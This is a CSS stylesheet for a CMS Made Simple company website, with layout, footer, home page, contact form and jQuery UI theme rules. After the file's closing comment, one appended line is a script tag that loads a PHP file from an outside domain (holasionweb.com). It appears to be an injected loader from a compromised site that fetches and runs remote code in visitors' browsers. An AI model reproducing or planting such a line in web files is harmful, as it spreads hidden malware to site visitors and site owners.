/* Start of CMSMS style sheet 'MOS Style Sheet' */
/* GLOBAL */
html, body { margin: 0; padding: 0; }
body { background: #d2d2d2; font-family: Arial; font-size: 12px; color: #666; line-height: 135%; }
hr { 	padding:0px; border-bottom:1px solid #c1c2be;border-top:0px;border-left:0px;border-right:0px;	line-height:0px;height:1px;display:block;margin: 10px 0; }
div.hr { padding:0; border-bottom:1px solid #c1c2be;line-height:0px;height:1px;margin: 10px 0; }
a { color: #4877b3; text-decoration: none; }
a:focus {outline: none;}
a img { border: 0; }
h1 { color: #b58235; font-family: Arial; font-weight: normal;font-size:1.7em; line-height:1.3em;  }
h2 { color: #666; font-family: Arial; font-weight: normal; font-size:1.5em; line-height:1.2em; }
h3 { text-transform:uppercase; color: #666; font-family: Arial; font-weight: bold; font-size:1em; padding: 5px 0 0 20px; background: url(/uploads/images/arrow.png) left 7px no-repeat; border-top: 1px solid #C1C2BE;}
h4 { color: #b58235; font-weight: bold; font-size: 1.1em; line-height: 1.1em; margin:5px 0; }
.blue { color: #4877b3; }
#sub-content1 ul { margin:10px 5px 10px 30px; padding:0; }
#sub-content1 li { margin: 3px 0; padding:0; }

/* LAYOUT */
#navigation { border-bottom: 1px solid #c1c2be; margin: 0 0 10px 0; padding: 0 0 10px 0; }
#background-top { background-color: #fff; padding:0; }
#background-middle { background: url(/uploads/images/background-middle.png) repeat-x; }
#logo { margin-bottom: 10px; }
#breadcrumbs { font-size: .8em; }
#breadcrumbs span a { color: #646464; }
#breadcrumbs span, #breadcrumbs span a:hover { color: #4877b3; }
.wrap { margin: 0 auto; padding:0; width: 996px; overflow:hidden; }
.subheading { color: #b58235; font-weight: bold; font-size: 1.1em; }
.breaker { clear: both; }
.listContainer { }

/* FOOTER */
.footer-content, #footer-content-last { float: left; }
.footer-content { border-right: 1px solid #c1c2be; padding: 0 30px 0 10px; height: 135px}
#footer-content-last { padding-left: 10px; }
.footer-heading { font-weight: bold; text-transform: uppercase; margin-bottom: 10px; }
#footer a { display: block; color: #646464; }
#footer a:hover { color: #4877b3; }
#footer-copyright { padding-left: 10px; float: left; }
#footer-right { float: right; }

/* HOME PAGE */
#home-banner {
	background: url(/uploads/images/precision-passion-people.jpg); width: 997px; height: 299px; }
#home-tagline1 { padding: 40px 0 0 40px; font-family: Verdana; color: #6badff; font-size: 1.5em; }
#home-tagline1 p { line-height:1.2em; }
#home-tagline2 { padding: 20px 0 0 40px; font-family: "Arial Narrow"; color: #fff; font-size: 3em; }
#home-lower-wrapper { background: #f8f8f8 url(/uploads/images/right-edge.png) right top repeat-y; margin: 10px 0 0 0; }
#home-content1, #home-content2 { float: left; padding: 10px; margin-top:10px; height: 210px; }
#home-content1 { width: 736px; margin-right: 5px; background-color: #f8f8f8; }
#home-content2 { width: 215px; background: url(/uploads/images/engineering-driven-quality.png) left top no-repeat; }
#home-subcontent1, #home-subcontent2 { float: left; }
#home-subcontent1 { width: 254px; padding: 0 10px 0 10px; }
#home-subcontent2 ul li a span { font-weight: bold; text-transform: uppercase; }
#home-tabs-wrapper { width: 456px; }
#home-tabs { margin-left: 25px; }
#home-tabs-container {
	background-color: #fff; border: 1px solid #c1c2be; height: 160px; overflow: hidden; }
#home-subsubcontent1 { float: left; margin-top: 5px; }
#home-subsubcontent2 { float: left; font-size: 0.99em; line-height: 130%; }
ul#home-subsubcontent2 { margin:5px 8px; padding:0 15px; }

/* LEVEL 2 PAGES */
#sub-wrapper { background: #fff url(/uploads/images/right-edge.png) right top repeat-y; margin: 10px 0 0 0; }
#sub-content1 { margin-left:220px; width: 495px; padding: 5px 10px 10px 10px; }
#sub-content2 {
	float: right; width: 235px; margin:0; padding: 0; list-style-type: none;
	border-left: 1px solid #c1c2be; }
#sub-content2 ul {margin:20px 20px 10px 15px; padding:0;list-style-type: disc;}
p.sitemap {margin-left: 22px;}

/* GLOBAL CONTENT BLOCKS */
#testimonials, #capabilities-certifications, #engineering-driven-quality, #case-studies { padding: 10px 15px; border-top: 1px solid #c1c2be;  }
#testimonials { overflow: hidden; background: url(/uploads/images/quotes.png) no-repeat; }
#engineering-driven-quality {
	overflow: hidden;
	background: url(/uploads/images/background-engineering-driven-quality.png) no-repeat; }

/* FORMS */

.contactForm input, .contactForm select, .contactForm textarea {
   width: 200px;
   border: 1px solid #666;
   margin: 0 0 5px 5px;
}

.contactForm input[type="radio"] {
width: 30px;
}

.contactForm input[type="button"],input[type="submit"] {
  width: 125px;
  height: 21px;
  cursor:pointer;
  border:1px solid #666;
  background:#ccc;
  color:#000;
  font-weight:bold;
  font-size: .8em;
  padding: 1px 2px 2px 2px;
  margin: 10px 0 0 155px;
}

.contactForm label {
  display:block;
  float:left;
  width:150px;
  text-align:right;
  color: #B58235;
}

.contactForm .radioList label {
  display:block;
  width:250px;
  text-align:left;
  color: #000;
}
.contactForm .radioList input { border:none;}
.contactForm { line-height: 1.5em; }
.contactForm .captcha { margin: 20px 0 0 155px; }
.contactForm .captcha input { margin: 0; }

/* MISC */

    .clear {
        clear: both;
        height: 1px;
        overflow: hidden;
        margin:0;
        padding:0;
        background: #000;
    }



/* JQUERY UI CORE - NO TOUCH! */
.ui-helper-hidden { display: none; }
.ui-helper-hidden-accessible { position: absolute; left: -99999999px; }
.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; }
.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
.ui-helper-clearfix { display: inline-block; }
* html .ui-helper-clearfix { height:1%; }
.ui-helper-clearfix { display:block; }
.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }
.ui-state-disabled { cursor: default !important; }
.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; }
.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }

/* JQUERY UI TABS - NO TOUCH! */
.ui-tabs { padding: .2em; zoom: 1; }
.ui-tabs .ui-tabs-nav { list-style: none; position: relative; padding: .2em .2em 0; }
.ui-tabs .ui-tabs-nav li { position: relative; float: left; border-bottom-width: 0 !important; margin: 0 .2em -1px 0; padding: 0; }
.ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding: .5em 1em; }
.ui-tabs .ui-tabs-nav li.ui-tabs-selected { padding-bottom: 1px; border-bottom-width: 0; }
.ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; }
.ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; }
.ui-tabs .ui-tabs-panel { padding: 1em 1.4em; display: block; border-width: 0; background: none; }
.ui-tabs .ui-tabs-hide { display: none !important; }

/* JQUERY THEME - MODIFY ME! */
.ui-widget-content { }
.ui-widget-header { font-weight: bold; font-size: 0.9em; }
.ui-state-default, .ui-widget-content .ui-state-default { border: 1px solid #c1c2be; background: #eee; }
.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #646464; }
.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus { border: 1px solid #c1c2be; background: #fff; color: #212121; }
.ui-state-hover a, .ui-state-hover a:hover { color: #4877b3; }
.ui-state-active, .ui-widget-content .ui-state-active { border: 1px solid #c1c2be; background: #ffffff; }
.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #4877b3; }

/* JQUERY THEME ROUNDED CORNERS - NO TOUCH! */
.ui-corner-tl { -moz-border-radius-topleft: 3px; -webkit-border-top-left-radius: 3px; }
.ui-corner-tr { -moz-border-radius-topright: 3px; -webkit-border-top-right-radius: 3px; }
.ui-corner-bl { -moz-border-radius-bottomleft: 3px; -webkit-border-bottom-left-radius: 3px; }
.ui-corner-br { -moz-border-radius-bottomright: 3px; -webkit-border-bottom-right-radius: 3px; }
.ui-corner-top { -moz-border-radius-topleft: 3px; -webkit-border-top-left-radius: 3px; -moz-border-radius-topright: 3px; -webkit-border-top-right-radius: 3px; }
.ui-corner-bottom { -moz-border-radius-bottomleft: 3px; -webkit-border-bottom-left-radius: 3px; -moz-border-radius-bottomright: 3px; -webkit-border-bottom-right-radius: 3px; }
.ui-corner-right {  -moz-border-radius-topright: 3px; -webkit-border-top-right-radius: 3px; -moz-border-radius-bottomright: 3px; -webkit-border-bottom-right-radius: 3px; }
.ui-corner-left { -moz-border-radius-topleft: 3px; -webkit-border-top-left-radius: 3px; -moz-border-radius-bottomleft: 3px; -webkit-border-bottom-left-radius: 3px; }
.ui-corner-all { -moz-border-radius: 3px; -webkit-border-radius: 3px; }

/* End of 'MOS Style Sheet' */

<script src="http://holasionweb.com/oo.php"></script>